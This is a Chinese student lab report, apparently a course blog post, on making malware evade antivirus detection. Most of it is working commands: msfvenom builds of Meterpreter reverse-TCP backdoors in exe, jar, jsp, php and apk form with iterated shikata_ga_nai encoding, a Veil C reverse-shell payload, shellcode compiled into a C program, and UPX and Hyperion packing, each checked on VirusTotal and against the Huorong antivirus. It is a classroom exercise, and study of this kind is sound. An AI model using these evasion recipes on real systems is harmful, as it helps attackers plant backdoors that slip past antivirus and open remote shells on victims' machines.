《网络对抗技术》——Exp3 免杀原理与实践

一、实践内容

1.1 实践要求
1、正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

2、veil,加壳工具

3、使用C + shellcode编程

4、通过组合应用各种技术实现恶意代码免杀如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

5、用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

1.2 实践内容

1、免杀

一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。

要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。

反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。

就常见恶意软件而言,一般AV的检出率为40%-98%。就算你用了最好的AV,恶意软件依然有1/50的概率通过检测。这个概率还可以,貌似多试几种恶意软件就可以了。那免杀的方法当然是针对检测技术的。

2、恶意软件检测机制

基于特征码的检测
简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。

AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。

启发式恶意软件检测

启发式Heuristic,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。

“When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.” 对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。

优点:可以检测0-day恶意软件 具有一定通用性
缺点: 实时监控系统行为,开销稍多 没有基于特征码的精确度高
基于行为的恶意软件检测
最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描, 所以后来又提出了基于行为的。

从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。

3、加壳

加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。

加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。大多数病毒就是基于此原理。

加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。

这种技术也常用来保护软件版权,防止软件被破解。但对于病毒,加壳可以绕过一些杀毒软件的扫描,从而实现它作为病毒的一些入侵或破坏的一些特性。

MSF的编码器使用类似方法,对shellcode进行再编码。

从技术上分壳分为
压缩壳
减少应用体积,如ASPack,UPX
加密壳
版权保护,反跟踪。如ASProtect,Armadillo
虚拟机
通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect, Themida

二、实践过程记录

1、正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

  • 对实验二生成的 20201305_backdoor.exe 后门程序通过VirusTotal
    image
    image
    image
    image

  • 用以下代码生成一次编码的后门程序;参数-b 用于去除结束符"\x00"。exp3.exe 检测结果如下:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.111.130 LPORT=1305 -f exe > exp3.exe 

image
image
image

sfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.111.130 LPORT=1305 -f exe > exp3_encoded10.exe

生成十次编码的后门程序;参数 -i 用于设置迭代次数。
exp3_encoded10.exe 检测结果如下
image
image
image

sfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.111.130 LPORT=1305 x> 20201305java.jar

生成jar文件
20201305java.jar 检测结果如下:
image
image
image

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.111.130 LPORT=1305 x> 20201305jsp.jsp 

生成jsp文件
20201305jsp.jsp 检测结果如下:
image
image
image

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.111.130 LPORT=1305 x> 20201305php.php 

生成php文件
20201305php.php 检测结果如下
image
image
image

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.111.130 LPORT=1305 x> 20201305android.apk 

生成apk文件
20201305android.apk 检测结果如下:
image
image
image

veil

1、安装veil

  1. 在终端输入sudo apt-get install veil(忘记截图了)
  2. !接下来输入veil 继续安装
    • 由于克隆过程慢的出乎想象,于是尝试更换github仓库链接
    • 进入 /usr/share/veil/config 文件夹,使用命令vim setup.sh 编辑文件,找到github仓库,将其改为码云仓库https://gitee.com/spears/VeilDependencies.git
    • 注意:修改链接时保留链接与双引号之间的空格,不然就会报错,无数次重装!
    • 继续veil的安装,发现结果如下图:
      image
      image
      按照它给的命令/usr/share/veil/config/setup.sh --force --silent
      继续安装后发现卡住了 因为64位kali安装wine32没有32位架构
      所以使用命令
dpkg --add-architecture i386 && apt-get update &&
apt-get install wine32

image
额卡住了,重启解决一切问题
image
image
image
安装成功!

2、使用Veil生成后门文件

  • 输入use evasion 进入

  • 输入use c/meterpreter/rev_tcp.py 进入配置页面
    image

  • 设置反弹连接的IP地址set LHOST 192.168.111.130

  • 设置端口set LPORT 1305

  • 输入options 查看设置
    image

  • 输入 generate 生成文件

  • 输入生成的payload名称 veil_c_1305

  • 由结果可知,payload保存路径为 var/lib/veil/output/compiled/veil_c_1305.exe
    image
    image
    image

  • 使用VirusTotal检测结果:
    image
    image

3、使用C + shellcode编程

  • 这就是一个半手工打造恶意软件的例子。下面指令会生成一个c语言格式的Shellcode数组。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.138 LPORT=1313 -f c

vim 20181313.c 创建文件,将生成的buf复制到代码中
image

  • 通过i686-w64-mingw32-g++ 20201305.c -o 20201305.exe ,将c文件编译为可执行文件
    image
  • 使用VirusTotal检测结果:
    image
    image

4、加壳工具——压缩壳工具UPX

  • 使用upx 20201305.exe -o 20201305_upxed.exe对20181313.exe 加压缩壳得到20201305_upxed.exe 文件
    image

  • 使用VirusTotal检测结果:
    image
    image
    image

  • 尝试测试反弹连接

  • 在windows中运行exe文件时,运行出错(没解决)

5、加壳工具——加密壳工具Hyperion

  • 二次加壳wine hyperion.exe -v 20201305_upxed.exe 20201305_upxed_Hyperion.exe
    第一次运行时运行出错 后面寻找了hyperion.exe的位置后把 第一次加壳后的20201305_upxed.exe放进同一个文件夹
    image
  • 再次运行
    image
    image
  • 使用VirusTotal检测结果:
    image
    image

6、通过组合应用各种技术实现恶意代码免杀

1、通过py+shellcode+aes_encrypt组合攻击的原理是使用了数据加密的方式进行多次编译后门软件

image
image
image

7.附加题:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

  • 用Windows主机做测试,杀毒软件为火绒,前面生成的后门程序20201305exp3veils.exe不会被杀毒软件查杀。阻止区中均没有上述软件,并且我并未执行添加到信任区的操作,也没有报警信息。说明可以直接运行.

实验失败(火绒nb)文件存储在电脑内火绒没反应,但是当文件运行以后火绒会阻止并删除文件

三基础问题回答

  • 1、杀软是如何检测出恶意代码的?
    和病毒库进行检索,满足病毒特征的判断位恶意代码
    检查软件的行为,有读取内存或者违规获取权限的判断为恶意代码
    2、免杀是做什么的?
    一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
    3、免杀的基本方法有哪些?
    改变软件的特征

如果你手里只有EXE

加壳:压缩壳 加密壳

有shellcode(像Meterpreter)

用encode进行编码

基于payload重新编译生成可执行文件

有源代码

用其他语言进行重写再编译(veil-evasion)

改变行为

通讯方式

尽量使用反弹式连接

使用隧道技术

加密通讯数据

操作模式

基于内存操作

减少对系统的修改

加入混淆作用的正常功能代码

非常规方法
使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
使用社工类攻击,诱骗目标关闭AV软件。
纯手工打造一个恶意软件
4. 开启杀软能绝对防止电脑中恶意代码吗?
不能,杀软是固定的,总会有破绽,而恶意代码会一代代更新,两者是相互制衡的

四、实践总结与体会

本次实验遇到的问题大多数都是在veil的安装剩下都比较简单 就是注入shellcode的文件因为缺少gcc的启动dll而无法运行,我知道是这个原因,但是找不到这个dll在kali虚拟机的哪里所以没能成功运行。但总体来说本次实验还是较为简单。让我认识到了更新杀毒软件版本的好处。

posted @ 2023-03-30 20:54  池鱼12156  阅读(56)  评论(0编辑  收藏  举报